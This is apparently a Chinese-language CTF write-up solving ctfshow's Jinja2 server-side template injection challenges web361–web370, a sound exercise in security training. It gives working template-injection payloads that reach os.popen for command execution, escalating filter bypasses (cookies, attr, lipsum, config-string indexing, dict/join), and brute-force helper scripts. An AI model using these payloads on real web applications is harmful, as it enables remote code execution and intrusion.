ctfshowssti

web361

image-20250528200308197

打开,题目说名字就是考点,试了一下这个的参数是get传参的

所以我们试一下name=49

image-20250528200457255

发现成功,于是我们正常测试

1
?name={{().__class__.__base__.__subclasses__()}}

发现没过滤啥东西,于是我们用脚本找到os._wrap_close所在的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

url = input('请输入 url 链接:')
for i in range(500):
# ① 记得把 payload 写成字符串模板
payload = "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"
try:
r = requests.get(url, params={"name": payload}, timeout=5)

# —— 打印调试 ——
print(f"[{i:03d}] → {r.status_code} {r.url}")

# 如果服务返回了页面就打印长度
if r.status_code == 200:
print(f" 返回长度:{len(r.text)}")
# 搜索关键字
if 'os._wrap_close' in r.text:
print("!!! 找到 os._wrap_close !!!")
print(r.text)
break
except Exception as e:
print(f"[{i:03d}] 请求出错:{e}")
continue

image-20250528200711504

发现是132

image-20250528200826715

去看是否重载,然后调用里面的popen

1
?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}

image-20250528200945790

成功

当然这里我们也可以用全局变量里面的内嵌函数,然后再用其eval执行,也是可以的

1
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()")}}

web362

经过我们的测试发现过滤了3和2之类的,相当于我们不能用os._wrap_close 这个模块了

image-20250528201526945

不过我们可以用length绕过数字

1
?name={% set a='aaaaaaa'|length*'aaaaaaaaaaaaaaaaaaa'|length-'a'|length %}{{().__class__.__base__.__subclasses__()[a].__init__.__globals__['popen']('ls /').read()}}

image-20250528201748819

其实这题我们也可以用config和url_for来绕过

web263

发现过滤了popen,builtins等函数,所以我们用request绕过

1
?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.xy](request.args.shell).read()}}&xy=popen&shell=ls /

web264

对比上个题发现过滤了request.args那我们就用cookie来过

1
2
?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.cookies.xy](request.cookies.shell).read()}}
cookie: xy=popen; shell=ls /

image-20250528204851265

web265

这题发现被过滤了中括号,很坏了,使用getitem来绕过

1
2
?name={{().__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__.__getitem__(request.cookies.xy)(request.cookies.shell).read()}}
cookie: xy=popen; shell=ls /

image-20250528210536178

web266

又把下划线过滤了

用attr绕过下划线

1
/?name={{()|attr(request.cookies.cla)|attr(request.cookies.bas)|attr(request.cookies.sub)()|attr(request.cookies.geti)(132)|attr(request.cookies.ini)|attr(request.cookies.glo)|attr(request.cookies.geti)(request.cookies.p)(request.cookies.shell)|attr(request.cookies.rea)()}}
1
2
cookie:
cla=__class__;bas=__base__;sub=__subclasses__;geti=__getitem__;ini=__init__;glo=__globals__;p=popen;shell=ls /;rea=read

image-20250528213906879

后来我去看了下wp,去学习了他们的一些骚操作姿势,看wp里面他们都喜欢用通过调用其他函数来绕过,比如url_for之类的,但是这题过滤了下划线就用lipsum来当全局对象

lipsum|attr(request.cookies.a)

来间接取它的某个属性(对应你 Cookie 里给的键名 a)。这一步纯粹是为了「开始」那条链式调用 —— 一旦你从 lipsum 拿到一个对象,就可以继续 .os.popen(...).read() 这样的后续链路,绕过模板里对双下划线或 open 这类敏感词的过滤

1
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
1
a=__globals__;b=ls /

image-20250529103213718

web367

这题相当于上题ban了个os,上题的第一个payload还是能用的

由于lipsum.__ globals__ 拿到了全局命名空间,我们是可以直接调用os模块的,但是这里os被ban了,我这里本来是想着 用|attr()去绕过的,但是后来发现这里我们拿到的是全局命名空间也就是一个字典,而我们attr返回的是一个属性,而我们调用的.os是一个键值,如果你这么写就会返回undefined,所以我们采用

1
?name={{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}

这里用(request.values.xxx)也是可以的values是get和post都可以传参

1
a=__globals__;b=os;c=ls /

image-20250529114430449

web368

发现过滤了大括号,用**{% %}**就行,然后用 print() 打印一下就好了,直接用上题的payload
1
?name={% print((lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()) %}
1
a=__globals__;b=os;c=ls /
## web369 把request禁掉了,我们先 ?name={% print(config) %}

由于url_for用不了,所以我们就用config来取里面的字符串

image-20250529203423842

这里用了别人的代码吗,简单修改了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
url="http://e31bb830-9950-4632-b96a-62b7a9df67a0.challenge.ctf.show/?name={{% print (config|string|list).pop({}).lower() %}}"

payload="ls /"
result=""
for j in payload:
for i in range(0,1000):
r=requests.get(url=url.format(i))
location=r.text.find("<h3>")
word=r.text[location+4:location+5]
if word==j.lower():
print("(config|string|list).pop(%d).lower() == %s"%(i,j))
result+="(config|string|list).pop(%d).lower()~"%(i)
break
print(result[:len(result)-1])

得到类似的

image-20250529203516639

于是用相同的方法去构造其他的地方,

1
2
?name={% print((lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower())).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()
).read()) %}

image-20250529203619175

然后这里还有第2种方法,我们用dict和join绕过,由于过滤了下划线,我们可以先从{}|select中取出下划线 和从self中取出空 格

1
2
3
4
5
6
7
8
9
10
11
?name={%set pop=dict(pop=a)|join%}
{% set xhx=(()|select|string|list).pop(24)%} //下划线
{% set gl=(xhx,xhx,dict(globals=1)|join,xhx,xhx)|join%}
{% set black=(self|string()|list|attr(pop)(18))%} //空格
{% set ge=(xhx,xhx,dict(getitem=1)|join,xhx,xhx)|join%}
{% set oo=dict(o=1,s=1)|join%}
{% set bu=(xhx,xhx,dict(builtins=1)|join,xhx,xhx)|join%}
{% set a=(lipsum|attr(gl)).get(bu)%}
{% set chr=a.chr %}
{% set shell=(dict(l=1,s=1)|join,black,chr(47))|join%} //chr(47)是/
{% print((lipsum|attr(gl)).get(oo).popen(shell).read())%}

image-20250530102504583

web370

把数字过滤掉了,那我们就把上题的payload用到数字的地方用length过滤就好了,然后dict那里1换成字符a就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
?name={%set pop=dict(pop=a)|join%}
{% set tw=dict(aaaa=a)|join|length*dict(aaaaaa=a)|join|length%} //24
{% set si=dict(aaa=a)|join|length*dict(aaaaaa=a)|join|length%} //18
{% set sev=dict(aaaaaaa=a)|join|length*dict(aaaaaaa=a)|join|length-dict(aa=a)|join|length%} //47
{% set xhx=(()|select|string|list).pop(tw)%}
{% set gl=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}
{% set black=(self|string()|list|attr(pop)(si))%}
{% set ge=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join%}
{% set oo=dict(o=a,s=b)|join%}
{% set bu=(xhx,xhx,dict(builtins=a)|join,xhx,xhx)|join%}
{% set a=(lipsum|attr(gl)).get(bu)%}
{% set chr=a.chr %}
{% set shell=(dict(l=a,s=b)|join,black,chr(sev))|join%}
{% print((lipsum|attr(gl)).get(oo).popen(shell).read())%}

image-20250530103527823